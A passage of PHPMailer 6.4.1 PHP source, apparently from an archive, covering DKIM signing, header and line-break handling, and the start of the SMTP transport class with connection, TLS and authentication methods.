$qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); return static::_mime_types($ext); } /** * Multi-byte-safe pathinfo replacement. * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe. * * @see http://www.php.net/manual/en/function.pathinfo.php#107461 * * @param string $path A filename or path, does not need to exist as a file * @param int|string $options Either a PATHINFO_* constant, * or a string name to return only the specified piece * * @return string|array */ public static function mb_pathinfo($path, $options = null) { $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '']; $pathinfo = []; if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } /** * Set or reset instance properties. * You should avoid this function - it's more verbose, less efficient, more error-prone and * harder to debug than setting properties directly. * Usage Example: * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);` * is the same as: * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`. * * @param string $name The property name to set * @param mixed $value The value to set the property to * * @return bool */ public function set($name, $value = '') { if (property_exists($this, $name)) { $this->$name = $value; return true; } $this->setError($this->lang('variable_set') . $name); return false; } /** * Strip newlines to prevent header injection. * * @param string $str * * @return string */ public function secureHeader($str) { return trim(str_replace(["\r", "\n"], '', $str)); } /** * Normalize line breaks in a string. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. * Defaults to CRLF (for message bodies) and preserves consecutive breaks. * * @param string $text * @param string $breaktype What kind of line break to use; defaults to static::$LE * * @return string */ public static function normalizeBreaks($text, $breaktype = null) { if (null === $breaktype) { $breaktype = static::$LE; } //Normalise to \n $text = str_replace([self::CRLF, "\r"], "\n", $text); //Now convert LE as needed if ("\n" !== $breaktype) { $text = str_replace("\n", $breaktype, $text); } return $text; } /** * Remove trailing breaks from a string. * * @param string $text * * @return string The text to remove breaks from */ public static function stripTrailingWSP($text) { return rtrim($text, " \r\n\t"); } /** * Return the current line break format string. * * @return string */ public static function getLE() { return static::$LE; } /** * Set the line break format string, e.g. "\r\n". * * @param string $le */ protected static function setLE($le) { static::$LE = $le; } /** * Set the public and private key files and password for S/MIME signing. * * @param string $cert_filename * @param string $key_filename * @param string $key_pass Password for private key * @param string $extracerts_filename Optional path to chain certificate */ public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } /** * Quoted-Printable-encode a DKIM header. * * @param string $txt * * @return string */ public function DKIM_QP($txt) { $line = ''; $len = strlen($txt); for ($i = 0; $i < $len; ++$i) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } /** * Generate a DKIM signature. * * @param string $signHeader * * @throws Exception * * @return string The DKIM signature value */ public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new Exception($this->lang('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' !== $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return base64_encode($signature); } if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return ''; } /** * Generate a DKIM canonicalization header. * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2. * Canonicalized headers should *always* use CRLF, regardless of mailer setting. * * @see https://tools.ietf.org/html/rfc6376#section-3.4.2 * * @param string $signHeader Header * * @return string */ public function DKIM_HeaderC($signHeader) { //Normalize breaks to CRLF (regardless of the mailer) $signHeader = static::normalizeBreaks($signHeader, self::CRLF); //Unfold header lines //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]` //@see https://tools.ietf.org/html/rfc5322#section-2.2 //That means this may break if you do something daft like put vertical tabs in your headers. $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader); //Break headers out into an array $lines = explode(self::CRLF, $signHeader); foreach ($lines as $key => $line) { //If the header is missing a :, skip it as it's invalid //This is likely to happen because the explode() above will also split //on the trailing LE, leaving an empty line if (strpos($line, ':') === false) { continue; } list($heading, $value) = explode(':', $line, 2); //Lower-case header name $heading = strtolower($heading); //Collapse white space within the value, also convert WSP to space $value = preg_replace('/[ \t]+/', ' ', $value); //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value //But then says to delete space before and after the colon. //Net result is the same as trimming both ends of the value. //By elimination, the same applies to the field name $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t"); } return implode(self::CRLF, $lines); } /** * Generate a DKIM canonicalization body. * Uses the 'simple' algorithm from RFC6376 section 3.4.3. * Canonicalized bodies should *always* use CRLF, regardless of mailer setting. * * @see https://tools.ietf.org/html/rfc6376#section-3.4.3 * * @param string $body Message Body * * @return string */ public function DKIM_BodyC($body) { if (empty($body)) { return self::CRLF; } //Normalize line endings to CRLF $body = static::normalizeBreaks($body, self::CRLF); //Reduce multiple trailing line breaks to a single one return static::stripTrailingWSP($body) . self::CRLF; } /** * Create the DKIM header and body in a new message header. * * @param string $headers_line Header lines * @param string $subject Subject * @param string $body Body * * @throws Exception * * @return string */ public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body $DKIMquery = 'dns/txt'; //Query method $DKIMtime = time(); //Always sign these headers without being asked //Recommended list from https://tools.ietf.org/html/rfc6376#section-5.4.1 $autoSignHeaders = [ 'from', 'to', 'cc', 'date', 'subject', 'reply-to', 'message-id', 'content-type', 'mime-version', 'x-mailer', ]; if (stripos($headers_line, 'Subject') === false) { $headers_line .= 'Subject: ' . $subject . static::$LE; } $headerLines = explode(static::$LE, $headers_line); $currentHeaderLabel = ''; $currentHeaderValue = ''; $parsedHeaders = []; $headerLineIndex = 0; $headerLineCount = count($headerLines); foreach ($headerLines as $headerLine) { $matches = []; if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) { if ($currentHeaderLabel !== '') { //We were previously in another header; This is the start of a new header, so save the previous one $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } $currentHeaderLabel = $matches[1]; $currentHeaderValue = $matches[2]; } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) { //This is a folded continuation of the current header, so unfold it $currentHeaderValue .= ' ' . $matches[1]; } ++$headerLineIndex; if ($headerLineIndex >= $headerLineCount) { //This was the last line, so finish off this header $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } } $copiedHeaders = []; $headersToSignKeys = []; $headersToSign = []; foreach ($parsedHeaders as $header) { //Is this header one that must be included in the DKIM signature? if (in_array(strtolower($header['label']), $autoSignHeaders, true)) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } continue; } //Is this an extra custom header we've been asked to sign? if (in_array($header['label'], $this->DKIM_extraHeaders, true)) { //Find its value in custom headers foreach ($this->CustomHeader as $customHeader) { if ($customHeader[0] === $header['label']) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } //Skip straight to the next header continue 2; } } } } $copiedHeaderFields = ''; if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) { //Assemble a DKIM 'z' tag $copiedHeaderFields = ' z='; $first = true; foreach ($copiedHeaders as $copiedHeader) { if (!$first) { $copiedHeaderFields .= static::$LE . ' |'; } //Fold long values if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) { $copiedHeaderFields .= substr( chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS), 0, -strlen(static::$LE . self::FWS) ); } else { $copiedHeaderFields .= $copiedHeader; } $first = false; } $copiedHeaderFields .= ';' . static::$LE; } $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE; $headerValues = implode(static::$LE, $headersToSign); $body = $this->DKIM_BodyC($body); //Base64 of packed binary SHA-256 hash of body $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); $ident = ''; if ('' !== $this->DKIM_identity) { $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE; } //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag //which is appended after calculating the signature //https://tools.ietf.org/html/rfc6376#section-3.5 $dkimSignatureHeader = 'DKIM-Signature: v=1;' . ' d=' . $this->DKIM_domain . ';' . ' s=' . $this->DKIM_selector . ';' . static::$LE . ' a=' . $DKIMsignatureType . ';' . ' q=' . $DKIMquery . ';' . ' t=' . $DKIMtime . ';' . ' c=' . $DKIMcanonicalization . ';' . static::$LE . $headerKeys . $ident . $copiedHeaderFields . ' bh=' . $DKIMb64 . ';' . static::$LE . ' b='; //Canonicalize the set of headers $canonicalizedHeaders = $this->DKIM_HeaderC( $headerValues . static::$LE . $dkimSignatureHeader ); $signature = $this->DKIM_Sign($canonicalizedHeaders); $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS)); return static::normalizeBreaks($dkimSignatureHeader . $signature); } /** * Detect if a string contains a line longer than the maximum line length * allowed by RFC 2822 section 2.1.1. * * @param string $str * * @return bool */ public static function hasLineLongerThanMax($str) { return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str); } /** * If a string contains any "special" characters, double-quote the name, * and escape any double quotes with a backslash. * * @param string $str * * @return string * * @see RFC822 3.4.1 */ public static function quotedString($str) { if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) { //If the string contains any of these chars, it must be double-quoted //and any double quotes must be escaped with a backslash return '"' . str_replace('"', '\\"', $str) . '"'; } //Return the string untouched, it doesn't need quoting return $str; } /** * Allows for public read access to 'to' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getToAddresses() { return $this->to; } /** * Allows for public read access to 'cc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getCcAddresses() { return $this->cc; } /** * Allows for public read access to 'bcc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getBccAddresses() { return $this->bcc; } /** * Allows for public read access to 'ReplyTo' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getReplyToAddresses() { return $this->ReplyTo; } /** * Allows for public read access to 'all_recipients' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getAllRecipientAddresses() { return $this->all_recipients; } /** * Perform a callback. * * @param bool $isSent * @param array $to * @param array $cc * @param array $bcc * @param string $subject * @param string $body * @param string $from * @param array $extra */ protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { if (!empty($this->action_function) && is_callable($this->action_function)) { call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); } } /** * Get the OAuth instance. * * @return OAuth */ public function getOAuth() { return $this->oauth; } /** * Set an OAuth instance. */ public function setOAuth(OAuth $oauth) { $this->oauth = $oauth; } } PHPMailer/SMTP.php000064400000134174151202620270007630 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer RFC821 SMTP email transport class. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. * * @author Chris Ryan * @author Marcus Bointon */ class SMTP { /** * The PHPMailer SMTP version number. * * @var string */ const VERSION = '6.4.1'; /** * SMTP line break constant. * * @var string */ const LE = "\r\n"; /** * The SMTP port to use if one is not specified. * * @var int */ const DEFAULT_PORT = 25; /** * The maximum line length allowed by RFC 5321 section 4.5.3.1.6, * *excluding* a trailing CRLF break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.6 * * @var int */ const MAX_LINE_LENGTH = 998; /** * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5, * *including* a trailing CRLF line break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.5 * * @var int */ const MAX_REPLY_LENGTH = 512; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show client -> server messages. * * @var int */ const DEBUG_CLIENT = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_SERVER = 2; /** * Debug level to show connection status, client -> server and server -> client messages. * * @var int */ const DEBUG_CONNECTION = 3; /** * Debug level to show all messages. * * @var int */ const DEBUG_LOWLEVEL = 4; /** * Debug output level. * Options: * * self::DEBUG_OFF (`0`) No debug output, default * * self::DEBUG_CLIENT (`1`) Client commands * * self::DEBUG_SERVER (`2`) Client commands and server responses * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages. * * @var int */ public $do_debug = self::DEBUG_OFF; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to use VERP. * * @see http://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Info on VERP * * @var bool */ public $do_verp = false; /** * The timeout value for connection, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. * * @see http://tools.ietf.org/html/rfc2821#section-4.5.3.2 * * @var int */ public $Timeout = 300; /** * How long to wait for commands to complete, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timelimit = 300; /** * Patterns to extract an SMTP transaction id from reply to a DATA command. * The first capture group in each regex will be used as the ID. * MS ESMTP returns the message ID, which may not be correct for internal tracking. * * @var string[] */ protected $smtp_transaction_id_patterns = [ 'exim' => '/[\d]{3} OK id=(.*)/', 'sendmail' => '/[\d]{3} 2.0.0 (.*) Message/', 'postfix' => '/[\d]{3} 2.0.0 Ok: queued as (.*)/', 'Microsoft_ESMTP' => '/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/', 'Amazon_SES' => '/[\d]{3} Ok (.*)/', 'SendGrid' => '/[\d]{3} Ok: queued as (.*)/', 'CampaignMonitor' => '/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/', ]; /** * The last transaction ID issued in response to a DATA command, * if one was detected. * * @var string|bool|null */ protected $last_smtp_transaction_id; /** * The socket for the server connection. * * @var ?resource */ protected $smtp_conn; /** * Error information, if any, for the last SMTP command. * * @var array */ protected $error = [ 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '', ]; /** * The reply the server sent to us for HELO. * If null, no HELO string has yet been received. * * @var string|null */ protected $helo_rply; /** * The set of SMTP extensions sent in reply to EHLO command. * Indexes of the array are extension names. * Value at index 'HELO' or 'EHLO' (according to command that was sent) * represents the server name. In case of HELO it is the only element of the array. * Other values can be boolean TRUE or an array containing extension options. * If null, no HELO/EHLO string has yet been received. * * @var array|null */ protected $server_caps; /** * The most recent reply received from the server. * * @var string */ protected $last_reply = ''; /** * Output debugging info via a user-selected method. * * @param string $str Debug string to output * @param int $level The debug level of this message; see DEBUG_* constants * * @see SMTP::$Debugoutput * @see SMTP::$do_debug */ protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $level); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo gmdate('Y-m-d H:i:s'), ' ', htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "
\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Connect to an SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return bool */ public function connect($host, $port = null, $timeout = 30, $options = []) { //Clear errors to avoid confusion $this->setError(''); //Make sure we are __not__ connected if ($this->connected()) { //Already connected, generate error $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_PORT; } //Connect to the SMTP server $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=" . (count($options) > 0 ? var_export($options, true) : 'array()'), self::DEBUG_CONNECTION ); $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options); if ($this->smtp_conn === false) { //Error info already set inside `getSMTPConnection()` return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); //Get any announcement $this->last_reply = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); $responseCode = (int)substr($this->last_reply, 0, 3); if ($responseCode === 220) { return true; } //Anything other than a 220 response means something went wrong //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error //https://tools.ietf.org/html/rfc5321#section-3.1 if ($responseCode === 554) { $this->quit(); } //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down) $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION); $this->close(); return false; } /** * Create connection to the SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return false|resource */ protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = []) { static $streamok; //This is enabled by default since 5.0.0 but some providers disable it //Check this once and cache the result if (null === $streamok) { $streamok = function_exists('stream_socket_client'); } $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); set_error_handler([$this, 'errorHandler']); $connection = stream_socket_client( $host . ':' . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); restore_error_handler(); } else { //Fall back to fsockopen which should work in more places, but is missing some features $this->edebug( 'Connection: stream_socket_client not available, falling back to fsockopen', self::DEBUG_CONNECTION ); set_error_handler([$this, 'errorHandler']); $connection = fsockopen( $host, $port, $errno, $errstr, $timeout ); restore_error_handler(); } //Verify we connected properly if (!is_resource($connection)) { $this->setError( 'Failed to connect to server', '', (string) $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } //SMTP server can take longer to respond, give longer timeout for first read //Windows does not have support for this timeout function if (strpos(PHP_OS, 'WIN') !== 0) { $max = (int)ini_get('max_execution_time'); //Don't bother if unlimited, or if set_time_limit is disabled if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit($timeout); } stream_set_timeout($connection, $timeout, 0); } return $connection; } /** * Initiate a TLS (encrypted) session. * * @return bool */ public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } //Begin encrypted connection set_error_handler([$this, 'errorHandler']); $crypto_ok = stream_socket_enable_crypto( $this->smtp_conn, true, $crypto_method ); restore_error_handler(); return (bool) $crypto_ok; } /** * Perform SMTP authentication. * Must be run after hello(). * * @see hello() * * @param string $username The user name * @param string $password The password * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2) * @param OAuth $OAuth An optional OAuth instance for XOAUTH2 authentication * * @return bool True if successfully authenticated */ public function authenticate( $username, $password, $authtype = null, $OAuth = null ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { //SMTP extensions are available; try to find a proper authentication method if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); //'at this stage' means that auth may be allowed after the stage changes //e.g. after STARTTLS return false; } $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL); $this->edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); //If we have requested a specific auth type, check the server supports it before trying others if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) { $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL); $authtype = null; } if (empty($authtype)) { //If no auth mechanism is specified, attempt to use these, in this order //Try CRAM-MD5 first as it's more secure than the others foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) { if (in_array($method, $this->server_caps['AUTH'], true)) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'], true)) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } //Send encoded username and password if ( //Format from https://tools.ietf.org/html/rfc4616#section-2 //We skip the first field (it's forgery), so the string starts with a null byte !$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand('Username', base64_encode($username), 334)) { return false; } if (!$this->sendCommand('Password', base64_encode($password), 235)) { return false; } break; case 'CRAM-MD5': //Start authentication if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } //Get the challenge $challenge = base64_decode(substr($this->last_reply, 4)); //Build the response $response = $username . ' ' . $this->hmac($challenge, $password); //send encoded credentials return $this->sendCommand('Username', base64_encode($response), 235); case 'XOAUTH2': //The OAuth instance must be set up prior to requesting auth. if (null === $OAuth) { return false; } $oauth = $OAuth->getOauth64(); //Start authentication if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { return false; } break; default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } /** * Calculate an MD5 HMAC hash. * Works like hash_hmac('md5', $data, $key) * in case that function is not available. * * @param string $data The data to hash * @param string $key The key to hash with * * @return string */ protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } //The following borrowed from //http://php.net/manual/en/function.mhash.php#27225 //RFC 2104 HMAC implementation for php. //Creates an md5 HMAC. //Eliminates the need to install mhash to compute a HMAC //by Lance Rushing $bytelen = 64; //byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } /** * Check connection state. * * @return bool True if connected */ public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { //The socket is valid but we are not connected $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; //everything looks good } return false; } /** * Close the socket and clean up the state of the class. * Don't use this function without first trying to use QUIT. * * @see quit() */ public function close() { $this->setError(''); $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { //Close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } /** * Send an SMTP DATA command. * Issues a data command and sends the msg_data to the server, * finializing the mail transaction. $msg_data is the message * that is to be send with the headers. Each header needs to be * on a single line followed by a with the message headers * and the message body being separated by an additional . * Implements RFC 821: DATA . * * @param string $msg_data Message data to send * * @return bool */ public function data($msg_data) { //This will use the standard timelimit if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } /* The server is ready to accept data! * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into * smaller lines to fit within the limit. * We will also look for lines that start with a '.' and prepend an additional '.'. * NOTE: this does not count towards line-length limit. */ //Normalize line breaks before exploding $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data)); /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field * of the first line (':' separated) does not contain a space then it _should_ be a header and we will * process all lines before a blank line as headers. */ $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = []; if ($in_headers && $line === '') { $in_headers = false; } //Break this line up into several smaller lines if it's too long //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), while (isset($line[self::MAX_LINE_LENGTH])) { //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on //so as to avoid breaking in the middle of a word $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); //Deliberately matches both false and 0 if (!$pos) { //No nice break found, add a hard break $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { //Break at the found point $lines_out[] = substr($line, 0, $pos); //Move along by the amount we dealt with $line = substr($line, $pos + 1); } //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; //Send the lines to the server foreach ($lines_out as $line_out) { //Dot-stuffing as per RFC5321 section 4.5.2 //https://tools.ietf.org/html/rfc5321#section-4.5.2 if (!empty($line_out) && $line_out[0] === '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . static::LE, 'DATA'); } } //Message data has been sent, complete the command //Increase timelimit for end of DATA command $savetimelimit = $this->Timelimit; $this->Timelimit *= 2; $result = $this->sendCommand('DATA END', '.', 250); $this->recordLastTransactionID(); //Restore timelimit $this->Timelimit = $savetimelimit; return $result; } /** * Send an SMTP HELO or EHLO command. * Used to identify the sending server to the receiving server. * This makes sure that client and server are in a known state. * Implements RFC 821: HELO * and RFC 2821 EHLO. * * @param string $host The host name or IP to connect to * * @return bool */ public function hello($host = '') { //Try extended hello first (RFC 2821) if ($this->sendHello('EHLO', $host)) { return true; } //Some servers shut down the SMTP service here (RFC 5321) if (substr($this->helo_rply, 0, 3) == '421') { return false; } return $this->sendHello('HELO', $host); } /** * Send an SMTP HELO or EHLO command. * Low-level implementation used by hello(). * * @param string $hello The HELO string * @param string $host The hostname to say we are * * @return bool * * @see hello() */ protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } /** * Parse a reply to HELO/EHLO command to discover server extensions. * In case of HELO, the only parameter that can be discovered is a server name. * * @param string $type `HELO` or `EHLO` */ protected function 